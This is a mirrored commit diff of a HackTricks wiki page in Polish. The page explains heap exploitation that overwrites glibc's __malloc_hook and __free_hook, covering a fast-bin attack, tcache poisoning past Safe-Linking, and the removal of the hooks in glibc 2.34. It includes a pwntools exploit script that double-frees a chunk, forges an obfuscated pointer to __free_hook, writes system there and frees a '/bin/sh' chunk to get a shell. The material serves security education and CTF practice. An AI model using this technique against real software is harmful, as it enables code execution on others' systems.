mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma
This commit is contained in:
parent
3c2ef55137
commit
bfc3ee77d2
@ -1,4 +1,4 @@
|
|||||||
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
|
# WWW2Exec - __malloc_hook & __free_hook
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
Jak można zobaczyć na [oficjalnej stronie GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), zmienna **`__malloc_hook`** jest wskaźnikiem wskazującym na **adres funkcji, która będzie wywoływana** za każdym razem, gdy wywoływana jest `malloc()`, **przechowywana w sekcji danych biblioteki libc**. Dlatego, jeśli ten adres zostanie nadpisany na przykład przez **One Gadget**, a `malloc` zostanie wywołane, **One Gadget zostanie wywołany**.
|
Jak można zobaczyć na [oficjalnej stronie GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), zmienna **`__malloc_hook`** jest wskaźnikiem wskazującym na **adres funkcji, która będzie wywoływana** za każdym razem, gdy wywoływana jest `malloc()`, **przechowywana w sekcji danych biblioteki libc**. Dlatego, jeśli ten adres zostanie nadpisany na przykład przez **One Gadget**, a `malloc` zostanie wywołane, **One Gadget zostanie wywołany**.
|
||||||
|
|
||||||
Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołując `printf("%10000$c")**, co alokuje zbyt wiele bajtów, co powoduje, że `libc` wywołuje malloc, aby je alokować w stercie.
|
Aby wywołać malloc, można poczekać, aż program go wywoła, lub **wywołać `printf("%10000$c")**, co alokuje zbyt wiele bajtów, co powoduje, że `libc` wywołuje malloc, aby je alokować w stercie.
|
||||||
|
|
||||||
Więcej informacji o One Gadget w:
|
Więcej informacji o One Gadget w:
|
||||||
|
|
||||||
@ -47,7 +47,7 @@ W wspomnianym punkcie przerwania w powyższym kodzie w `$eax` znajdować się b
|
|||||||
|
|
||||||
Teraz przeprowadzany jest **atak na szybkie biny**:
|
Teraz przeprowadzany jest **atak na szybkie biny**:
|
||||||
|
|
||||||
- Przede wszystkim odkryto, że możliwe jest operowanie na szybkich **chunkach o rozmiarze 200** w lokalizacji **`__free_hook`**:
|
- Po pierwsze odkryto, że możliwe jest operowanie na szybkich **chunkach o rozmiarze 200** w lokalizacji **`__free_hook`**:
|
||||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||||
@ -57,14 +57,79 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
|||||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||||
</code></pre>
|
</code></pre>
|
||||||
- Jeśli uda nam się uzyskać szybki chunk o rozmiarze 0x200 w tej lokalizacji, będzie możliwe nadpisanie wskaźnika funkcji, który zostanie wykonany.
|
- Jeśli uda nam się uzyskać szybki chunk o rozmiarze 0x200 w tej lokalizacji, będzie możliwe nadpisanie wskaźnika funkcji, który zostanie wykonany.
|
||||||
- W tym celu tworzony jest nowy chunk o rozmiarze `0xfc`, a połączona funkcja jest wywoływana z tym wskaźnikiem dwukrotnie, w ten sposób uzyskujemy wskaźnik do zwolnionego chunka o rozmiarze `0xfc*2 = 0x1f8` w szybkim binie.
|
- W tym celu tworzony jest nowy chunk o rozmiarze `0xfc`, a funkcja scalająca jest wywoływana z tym wskaźnikiem dwukrotnie, w ten sposób uzyskujemy wskaźnik do zwolnionego chunka o rozmiarze `0xfc*2 = 0x1f8` w szybkim binie.
|
||||||
- Następnie wywoływana jest funkcja edytująca w tym chunku, aby zmodyfikować adres **`fd`** tego szybkiego bina, aby wskazywał na poprzednią funkcję **`__free_hook`**.
|
- Następnie wywoływana jest funkcja edytująca w tym chunku, aby zmodyfikować adres **`fd`** tego szybkiego bina, aby wskazywał na poprzednią funkcję **`__free_hook`**.
|
||||||
- Potem tworzony jest chunk o rozmiarze `0x1f8`, aby odzyskać z szybkiego bina poprzedni bezużyteczny chunk, więc tworzony jest kolejny chunk o rozmiarze `0x1f8`, aby uzyskać szybki chunk w **`__free_hook`**, który jest nadpisywany adresem funkcji **`system`**.
|
- Potem tworzony jest chunk o rozmiarze `0x1f8`, aby odzyskać z szybkiego bina poprzedni bezużyteczny chunk, więc tworzony jest kolejny chunk o rozmiarze `0x1f8`, aby uzyskać szybki chunk w **`__free_hook`**, który jest nadpisywany adresem funkcji **`system`**.
|
||||||
- A na koniec chunk zawierający ciąg `/bin/sh\x00` jest zwalniany, wywołując funkcję usuwania, co uruchamia funkcję **`__free_hook`**, która wskazuje na system z `/bin/sh\x00` jako parametrem.
|
- A na koniec chunk zawierający ciąg `/bin/sh\x00` jest zwalniany, wywołując funkcję usuwania, co uruchamia funkcję **`__free_hook`**, która wskazuje na system z `/bin/sh\x00` jako parametrem.
|
||||||
|
|
||||||
## Odniesienia
|
---
|
||||||
|
|
||||||
|
## Zatrucie Tcache i Safe-Linking (glibc 2.32 – 2.33)
|
||||||
|
|
||||||
|
glibc 2.32 wprowadził **Safe-Linking** – kontrolę integralności, która chroni *pojedyncze* listy powiązane używane przez **tcache** i szybkie biny. Zamiast przechowywać surowy wskaźnik do przodu (`fd`), ptmalloc teraz przechowuje go *z obfuskacją* za pomocą następującego makra:
|
||||||
|
```c
|
||||||
|
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||||||
|
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||||||
|
```
|
||||||
|
Konsekwencje dla eksploatacji:
|
||||||
|
|
||||||
|
1. **heap leak** jest obowiązkowy – atakujący musi znać wartość czasu wykonania `chunk_addr >> 12`, aby stworzyć ważny zafałszowany wskaźnik.
|
||||||
|
2. Tylko *pełny* 8-bajtowy wskaźnik może być sfałszowany; częściowe nadpisania jednego bajtu nie przejdą sprawdzenia.
|
||||||
|
|
||||||
|
Minimalny prymityw tcache-poisoning, który nadpisuje `__free_hook` w glibc 2.32/2.33, wygląda zatem następująco:
|
||||||
|
```py
|
||||||
|
from pwn import *
|
||||||
|
|
||||||
|
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||||||
|
p = process("./vuln")
|
||||||
|
|
||||||
|
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||||||
|
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||||||
|
heap_base = heap_leak & ~0xfff
|
||||||
|
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||||||
|
log.success(f"heap @ {hex(heap_base)}")
|
||||||
|
|
||||||
|
# 2. Prepare two same-size chunks and double-free one of them
|
||||||
|
a = malloc(0x48)
|
||||||
|
b = malloc(0x48)
|
||||||
|
free(a)
|
||||||
|
free(b)
|
||||||
|
free(a) # tcache double-free ⇒ poisoning primitive
|
||||||
|
|
||||||
|
# 3. Forge obfuscated fd that points to __free_hook
|
||||||
|
free_hook = libc.sym['__free_hook']
|
||||||
|
poison = free_hook ^ fd_key
|
||||||
|
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||||||
|
|
||||||
|
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||||||
|
malloc(0x48) # returns chunk a
|
||||||
|
c = malloc(0x48) # returns chunk @ __free_hook
|
||||||
|
edit(c, p64(libc.sym['system']))
|
||||||
|
|
||||||
|
# 5. Trigger
|
||||||
|
bin_sh = malloc(0x48)
|
||||||
|
edit(bin_sh, b"/bin/sh\x00")
|
||||||
|
free(bin_sh)
|
||||||
|
```
|
||||||
|
Fragment powyżej został dostosowany z ostatnich wyzwań CTF, takich jak *UIUCTF 2024 – «Rusty Pointers»* i *openECSC 2023 – «Babyheap G»*, które polegały na obejściach Safe-Linking w celu nadpisania `__free_hook`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Co zmieniło się w glibc ≥ 2.34?
|
||||||
|
|
||||||
|
Począwszy od **glibc 2.34 (sierpień 2021)**, haki alokacji `__malloc_hook`, `__realloc_hook`, `__memalign_hook` i `__free_hook` zostały **usunięte z publicznego API i nie są już wywoływane przez alokator**. Symbole zgodności są nadal eksportowane dla starszych binariów, ale ich nadpisanie nie wpływa już na kontrolę przepływu `malloc()` lub `free()`.
|
||||||
|
|
||||||
|
Praktyczna implikacja: w nowoczesnych dystrybucjach (Ubuntu 22.04+, Fedora 35+, Debian 12 itd.) musisz przejść do *innych* prymitywów przejęcia (IO-FILE, `__run_exit_handlers`, spryskiwanie vtable itd.), ponieważ nadpisania haków będą cicho zawodzić.
|
||||||
|
|
||||||
|
Jeśli nadal potrzebujesz starego zachowania do debugowania, glibc dostarcza `libc_malloc_debug.so`, które można wstępnie załadować, aby ponownie włączyć starsze haki – ale biblioteka **nie jest przeznaczona do produkcji i może zniknąć w przyszłych wydaniach**.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Referencje
|
||||||
|
|
||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||||||
|
- Safe-Linking – Eliminacja 20-letniego prymitywu exploita malloc() (Check Point Research, 2020)
|
||||||
|
- Notatki z wydania glibc 2.34 – usunięcie haków malloc
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user